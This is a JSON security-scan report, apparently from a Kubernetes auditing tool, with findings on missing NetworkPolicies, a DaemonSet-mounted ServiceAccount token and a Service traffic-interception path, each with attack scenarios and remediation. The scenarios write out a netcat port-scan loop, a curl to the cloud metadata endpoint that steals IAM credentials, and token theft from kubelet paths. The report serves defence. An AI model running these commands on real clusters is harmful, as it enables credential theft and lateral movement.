        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:noNetworkPolicies"
    ]
  },
  {
    "id": "KUBE-NETPOL-COVERAGE-001:Namespace:secrets-bundle",
    "rule_id": "KUBE-NETPOL-COVERAGE-001",
    "severity": "HIGH",
    "score": 7.4,
    "category": "lateral_movement",
    "title": "Namespace `secrets-bundle` has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint",
    "description": "Namespace `secrets-bundle` contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at `169.254.169.254`, the public internet, and the API server).\n\nThis is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant `policyTypes` selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.\n\nA single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.",
    "resource": {
      "kind": "Namespace",
      "name": "secrets-bundle",
      "namespace": "secrets-bundle"
    },
    "namespace": "secrets-bundle",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `secrets-bundle`: every workload inside inherits allow-all behavior"
    },
    "impact": "Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.",
    "attack_scenario": [
      "Attacker exploits an unpatched dependency in any pod in `secrets-bundle` and lands a shell.",
      "They scan the pod CIDR (`for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done`). Every database port across every namespace is reachable.",
      "They hit the cloud metadata endpoint `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` and exfiltrate the node's IAM credentials.",
      "They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.",
      "They pivot cluster-wide: query kube-DNS for `*.svc.cluster.local`, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement."
    ],
    "evidence": {
      "namespace": "secrets-bundle"
    },
    "remediation": "Apply a default-deny-all NetworkPolicy in `secrets-bundle`, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.",
    "remediation_steps": [
      "Apply a default-deny baseline (`podSelector: {}`, `policyTypes: [Ingress, Egress]`) to `secrets-bundle`.",
      "Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.",
      "For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never `0.0.0.0/0`.",
      "Validate with a debug pod: `kubectl run -n secrets-bundle --rm -it tmp --image=nicolaka/netshoot -- bash` confirming allowed paths work and disallowed paths time out.",
      "Wire CIS 5.3.2 / Kyverno's `require-network-policy` policy into CI so future namespaces ship with a baseline."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://www.cisecurity.org/benchmark/kubernetes",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "CIS Kubernetes Benchmark 5.3.2 — All namespaces should have NetworkPolicies",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Calico — get started with Kubernetes NetworkPolicy",
        "url": "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      },
      {
        "id": "T1090",
        "name": "Proxy",
        "url": "https://attack.mitre.org/techniques/T1090/"
      },
      {
        "id": "T1018",
        "name": "Remote System Discovery",
        "url": "https://attack.mitre.org/techniques/T1018/"
      },
      {
        "id": "T1046",
        "name": "Network Service Discovery",
        "url": "https://attack.mitre.org/techniques/T1046/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.3.2",
        "title": "Ensure that all Namespaces have NetworkPolicies defined",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Network Separation and Hardening",
        "title": "Network policies",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:noNetworkPolicies"
    ]
  },
  {
    "id": "KUBE-NETPOL-COVERAGE-001:Namespace:statusspoof-fixtures",
    "rule_id": "KUBE-NETPOL-COVERAGE-001",
    "severity": "HIGH",
    "score": 7.4,
    "category": "lateral_movement",
    "title": "Namespace `statusspoof-fixtures` has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint",
    "description": "Namespace `statusspoof-fixtures` contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at `169.254.169.254`, the public internet, and the API server).\n\nThis is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant `policyTypes` selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.\n\nA single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.",
    "resource": {
      "kind": "Namespace",
      "name": "statusspoof-fixtures",
      "namespace": "statusspoof-fixtures"
    },
    "namespace": "statusspoof-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `statusspoof-fixtures`: every workload inside inherits allow-all behavior"
    },
    "impact": "Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.",
    "attack_scenario": [
      "Attacker exploits an unpatched dependency in any pod in `statusspoof-fixtures` and lands a shell.",
      "They scan the pod CIDR (`for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done`). Every database port across every namespace is reachable.",
      "They hit the cloud metadata endpoint `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` and exfiltrate the node's IAM credentials.",
      "They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.",
      "They pivot cluster-wide: query kube-DNS for `*.svc.cluster.local`, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement."
    ],
    "evidence": {
      "namespace": "statusspoof-fixtures"
    },
    "remediation": "Apply a default-deny-all NetworkPolicy in `statusspoof-fixtures`, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.",
    "remediation_steps": [
      "Apply a default-deny baseline (`podSelector: {}`, `policyTypes: [Ingress, Egress]`) to `statusspoof-fixtures`.",
      "Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.",
      "For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never `0.0.0.0/0`.",
      "Validate with a debug pod: `kubectl run -n statusspoof-fixtures --rm -it tmp --image=nicolaka/netshoot -- bash` confirming allowed paths work and disallowed paths time out.",
      "Wire CIS 5.3.2 / Kyverno's `require-network-policy` policy into CI so future namespaces ship with a baseline."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://www.cisecurity.org/benchmark/kubernetes",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "CIS Kubernetes Benchmark 5.3.2 — All namespaces should have NetworkPolicies",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Calico — get started with Kubernetes NetworkPolicy",
        "url": "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      },
      {
        "id": "T1090",
        "name": "Proxy",
        "url": "https://attack.mitre.org/techniques/T1090/"
      },
      {
        "id": "T1018",
        "name": "Remote System Discovery",
        "url": "https://attack.mitre.org/techniques/T1018/"
      },
      {
        "id": "T1046",
        "name": "Network Service Discovery",
        "url": "https://attack.mitre.org/techniques/T1046/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.3.2",
        "title": "Ensure that all Namespaces have NetworkPolicies defined",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Network Separation and Hardening",
        "title": "Network policies",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:noNetworkPolicies"
    ]
  },
  {
    "id": "KUBE-NETPOL-COVERAGE-001:Namespace:vulnerable",
    "rule_id": "KUBE-NETPOL-COVERAGE-001",
    "severity": "HIGH",
    "score": 7.4,
    "category": "lateral_movement",
    "title": "Namespace `vulnerable` has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint",
    "description": "Namespace `vulnerable` contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at `169.254.169.254`, the public internet, and the API server).\n\nThis is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant `policyTypes` selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.\n\nA single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.",
    "resource": {
      "kind": "Namespace",
      "name": "vulnerable",
      "namespace": "vulnerable"
    },
    "namespace": "vulnerable",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `vulnerable`: every workload inside inherits allow-all behavior"
    },
    "impact": "Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.",
    "attack_scenario": [
      "Attacker exploits an unpatched dependency in any pod in `vulnerable` and lands a shell.",
      "They scan the pod CIDR (`for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done`). Every database port across every namespace is reachable.",
      "They hit the cloud metadata endpoint `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` and exfiltrate the node's IAM credentials.",
      "They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.",
      "They pivot cluster-wide: query kube-DNS for `*.svc.cluster.local`, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement."
    ],
    "evidence": {
      "namespace": "vulnerable"
    },
    "remediation": "Apply a default-deny-all NetworkPolicy in `vulnerable`, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.",
    "remediation_steps": [
      "Apply a default-deny baseline (`podSelector: {}`, `policyTypes: [Ingress, Egress]`) to `vulnerable`.",
      "Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.",
      "For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never `0.0.0.0/0`.",
      "Validate with a debug pod: `kubectl run -n vulnerable --rm -it tmp --image=nicolaka/netshoot -- bash` confirming allowed paths work and disallowed paths time out.",
      "Wire CIS 5.3.2 / Kyverno's `require-network-policy` policy into CI so future namespaces ship with a baseline."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://www.cisecurity.org/benchmark/kubernetes",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "CIS Kubernetes Benchmark 5.3.2 — All namespaces should have NetworkPolicies",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Calico — get started with Kubernetes NetworkPolicy",
        "url": "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      },
      {
        "id": "T1090",
        "name": "Proxy",
        "url": "https://attack.mitre.org/techniques/T1090/"
      },
      {
        "id": "T1018",
        "name": "Remote System Discovery",
        "url": "https://attack.mitre.org/techniques/T1018/"
      },
      {
        "id": "T1046",
        "name": "Network Service Discovery",
        "url": "https://attack.mitre.org/techniques/T1046/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.3.2",
        "title": "Ensure that all Namespaces have NetworkPolicies defined",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Network Separation and Hardening",
        "title": "Network policies",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:noNetworkPolicies"
    ]
  },
  {
    "id": "KUBE-SA-DAEMONSET-001:ServiceAccount/rbac-fixtures/sa-pod-create",
    "rule_id": "KUBE-SA-DAEMONSET-001",
    "severity": "HIGH",
    "score": 7.4,
    "category": "privilege_escalation",
    "title": "ServiceAccount `ServiceAccount/rbac-fixtures/sa-pod-create` is mounted by a DaemonSet, so its token lives on every node the DaemonSet schedules to",
    "description": "ServiceAccount `ServiceAccount/rbac-fixtures/sa-pod-create` is mounted by a DaemonSet (Pod/rbac-fixtures/daemon-app-nl55v, DaemonSet/rbac-fixtures/daemon-app). DaemonSets schedule one pod per matching node, so the kubelet projects this SA's token onto every one of those nodes. From an attacker's perspective, that turns any single node compromise (kernel CVE, runtime escape, host-mount-via-misconfigured-pod, malicious workload that escapes its sandbox) into immediate possession of the SA's identity, scaled by node count.\n\nAggregated rules:   - verbs [create] on resources [pods] (from crb-pod-create/cr-pod-create in cluster-wide)\n\nDaemonSet-mounted SAs are special-case for two reasons:\n1. **Distribution**: a typical cluster has tens to thousands of nodes. The token is on each one, in `/var/lib/kubelet/pods/\u003cuid\u003e/volumes/...`. Any node compromise (including ones the security team would normally call \"contained to one node\") exfiltrates the same token, and rotating one node's token does not invalidate the others (until the next pod re-projection cycle, ~1h with default token TTL).\n2. **Privilege**: DaemonSets are typically infrastructure agents (logging, monitoring, CNI, CSI, cluster-autoscaler) that legitimately need cluster-wide reads. So the SA tends to carry above-average permissions: `nodes:get`, `pods:list`, `events:create`, sometimes `secrets:get` for image-pull credentials. Combined with cluster-wide distribution this is a high-leverage credential.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-pod-create",
      "namespace": "rbac-fixtures"
    },
    "resource": {
      "kind": "ServiceAccount",
      "name": "sa-pod-create",
      "namespace": "rbac-fixtures"
    },
    "namespace": "rbac-fixtures",
    "scope": {
      "level": "cluster",
      "detail": "ServiceAccount `ServiceAccount/rbac-fixtures/sa-pod-create`: DaemonSet places its token on every node in the cluster (or every node matching the DaemonSet's nodeSelector)"
    },
    "impact": "A single node compromise yields a token that authorizes whatever this SA's RBAC says, anywhere in the cluster. With DaemonSet-typical permissions (cluster-wide reads, sometimes node-level controls) this is a fast pivot from one host to cluster-wide visibility/influence.",
    "attack_scenario": [
      "Attacker compromises one node via a kernel CVE in a tenant workload, an outdated containerd, or a misconfigured pod with `hostPath: /` they were able to schedule there.",
      "From the host they read `/var/lib/kubelet/pods/*/volumes/kubernetes.io~projected-volumes/token` (the projected token of `ServiceAccount/rbac-fixtures/sa-pod-create`).",
      "They use the token from outside the cluster (`kubectl --token=...`). The token still works because projection-renewal does not invalidate already-extracted copies until the original expiration.",
      "They use the SA's RBAC for whatever it grants (typically `nodes:get`, `pods:list`, `secrets:get` for image pulls) to locate higher-value targets.",
      "Scale: every node has a copy. Cleanup is per-node, and the team typically only rotates the compromised node's token, leaving the same SA active on all the others."
    ],
    "evidence": {
      "rules": [
        {
          "api_groups": [
            ""
          ],
          "namespace": "",
          "resource_names": null,
          "resources": [
            "pods"
          ],
          "source_binding": "crb-pod-create",
          "source_role": "cr-pod-create",
          "verbs": [
            "create"
          ]
        }
      ],
      "workloads": [
        {
          "kind": "Pod",
          "name": "daemon-app-nl55v",
          "namespace": "rbac-fixtures"
        },
        {
          "kind": "DaemonSet",
          "name": "daemon-app",
          "namespace": "rbac-fixtures"
        }
      ]
    },
    "remediation": "Tighten `ServiceAccount/rbac-fixtures/sa-pod-create`'s RBAC to the literal minimum the DaemonSet needs, set short token TTL (`expirationSeconds: 600`) on the projected token, and treat the DaemonSet's image and host mounts as part of the SA's effective trust boundary.",
    "remediation_steps": [
      "Audit `ServiceAccount/rbac-fixtures/sa-pod-create`'s actual API calls with `audit2rbac` and pare the bindings down to the minimum verbs. Remove any `secrets:get` unless explicitly required for image pulls.",
      "In the DaemonSet pod template, project the token with `expirationSeconds: 600` (10 min) instead of the default 1h. This caps the leak window for any single token theft.",
      "Audit the DaemonSet's container image and host mounts: a DaemonSet with `hostPath: /` is itself an escape primitive. Disallow privileged containers, `hostPath`, `hostPID`, `hostNetwork` in the DaemonSet's PodSpec.",
      "Add per-node detection: alert on `kubectl create token \u003csa\u003e` invocations from outside expected control-plane subjects, and on usage of the SA's name from IPs that are not pod CIDR.",
      "If the DaemonSet does not actually need an API token, set `automountServiceAccountToken: false` on its PodSpec and on `ServiceAccount/rbac-fixtures/sa-pod-create` itself."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — ServiceAccount admin: good practices",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — automountServiceAccountToken",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.6",
        "title": "Ensure that Service Account Tokens are only mounted where necessary",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authentication",
        "title": "Service account tokens",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:service_account",
      "check:daemonSetUsage"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-TRAFFIC-INTERCEPT:ServiceAccount/hookbackend-fixtures/hookbackend-operator:traffic_intercept",
    "rule_id": "KUBE-PRIVESC-PATH-TRAFFIC-INTERCEPT",
    "severity": "HIGH",
    "score": 7.3999999999999995,
    "category": "lateral_movement",
    "title": "`ServiceAccount/hookbackend-fixtures/hookbackend-operator` can **intercept in-cluster Service traffic** in 1 hop(s)",
    "description": "Subject `ServiceAccount/hookbackend-fixtures/hookbackend-operator` has a privesc path that terminates in control over where a Service's traffic goes. A Service's backends are derived from the IPs its selected pods report in their status, and that status is an ordinary API subresource: a subject that can write it rewrites a pod's `podIP`, the EndpointSlice controller republishes the address, and kube-proxy re-points the Service at it within a second. Clients resolve the Service name as before and connect to the attacker.\n\nThe chain (1 hop(s); each step uses an explicit RBAC verb the engine validated):\n  1. `ServiceAccount/hookbackend-fixtures/hookbackend-operator` → `/` via `service_backend_rewrite` (get,list,patch services): can rewrite the selector, ports, or type of Services in hookbackend-fixtures, steering their traffic to backends it chooses\n\nWhat this yields depends on who calls the intercepted Service. For an application Service it is that application's credentials and data. For a Service that backs an admission webhook or an aggregated API, the clients are the API server itself, and the position becomes admission bypass or control-plane credential capture. The hop's difficulty says how durable the position is: `hard` when the pod's kubelet corrects the status every 10 seconds and the attacker must keep writing it, `moderate` when a selected Service publishes not-ready addresses and a selected pod has no node, so nothing ever corrects it.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "hookbackend-operator",
      "namespace": "hookbackend-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/hookbackend-fixtures/hookbackend-operator` → `Service traffic interception`"
    },
    "impact": "Adversary-in-the-middle position on one or more in-cluster Services: capture of bearer tokens, credentials, and request bodies that the Service's clients send, and the ability to alter responses. For a webhook or aggregated-API backend, this is admission bypass or API-server credential capture.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/hookbackend-fixtures/hookbackend-operator`.",
      "Acting as `ServiceAccount/hookbackend-fixtures/hookbackend-operator`, the attacker rewrites a Service's spec (`get,list,patch services`): its selector, so it points at pods the attacker controls, its ports, or its type (an `ExternalName` sends clients to a hostname of the attacker's choosing). The controller republishes the backends within a second and clients resolve the Service name as before, so they connect to the attacker.",
      "Final step: the Service's clients connect to an address the attacker controls. Every request they send arrives there first: bearer tokens in `Authorization` headers, webhook payloads, database credentials in connection strings. The attacker reads or alters them and forwards the request to the real backend, so nothing breaks and nothing is logged on the client side."
    ],
    "evidence": {
      "chain_summary": [
        "1. service_backend_rewrite [get,list,patch services]"
      ],
      "first_action": "service_backend_rewrite",
      "hop_count": 1,
      "target": "traffic_intercept",
      "target_namespace": "",
      "techniques": [
        "service_backend_rewrite"
      ]
    },
    "remediation": "Remove write access to `pods/status` (and to `endpointslices`, `endpoints`, and `services`) from identities that are not the kubelet or a core controller, then break the chain at: remove the permission `get,list,patch services` that enables the first hop (`ServiceAccount/hookbackend-fixtures/hookbackend-operator` → `/`).",
    "remediation_steps": [
      "Break the chain at: remove the permission `get,list,patch services` that enables the first hop (`ServiceAccount/hookbackend-fixtures/hookbackend-operator` → `/`).",
      "Audit who can write pod status: `kubectl get clusterroles,roles -A -o json | jq -r '.items[] | select(.rules[]?.resources[]? == \"pods/status\") | \"\\(.kind) \\(.metadata.namespace // \"-\")/\\(.metadata.name)\"'`. Expect `system:node` and a handful of `system:controller:*` roles, nothing bound to a workload.",
      "Alert on `pods/status` writes from identities that are not `system:node:*`: the audit event's `user.username` and `objectRef.subresource` fields identify them directly.",
      "For Services whose clients carry credentials (webhook backends, aggregated APIs, internal APIs), move the clients to mutual TLS or to an mTLS service mesh so a redirected backend cannot present the expected identity.",
      "Avoid `publishNotReadyAddresses: true` on Services whose backends are not fully owned by the same team, since it publishes the status of pods no kubelet corrects."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — EndpointSlices (how Service backends are derived from pod status)",
        "url": "https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1557",
        "name": "Adversary-in-the-Middle",
        "url": "https://attack.mitre.org/techniques/T1557/"
      },
      {
        "id": "T1040",
        "name": "Network Sniffing",
        "url": "https://attack.mitre.org/techniques/T1040/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "service_backend_rewrite",
        "technique": "KUBE-PRIVESC-022",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "hookbackend-operator",
          "namespace": "hookbackend-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "get,list,patch services",
        "gains": "can rewrite the selector, ports, or type of Services in hookbackend-fixtures, steering their traffic to backends it chooses",
        "source_binding": "hookbackend-operator",
        "source_role": "hookbackend-operator",
        "binding_namespace": "hookbackend-fixtures"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:traffic_intercept"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-TRAFFIC-INTERCEPT:ServiceAccount/hookbackend-fixtures/hookbackend-slicer:traffic_intercept",
    "rule_id": "KUBE-PRIVESC-PATH-TRAFFIC-INTERCEPT",
    "severity": "HIGH",
    "score": 7.3999999999999995,
    "category": "lateral_movement",
    "title": "`ServiceAccount/hookbackend-fixtures/hookbackend-slicer` can **intercept in-cluster Service traffic** in 1 hop(s)",
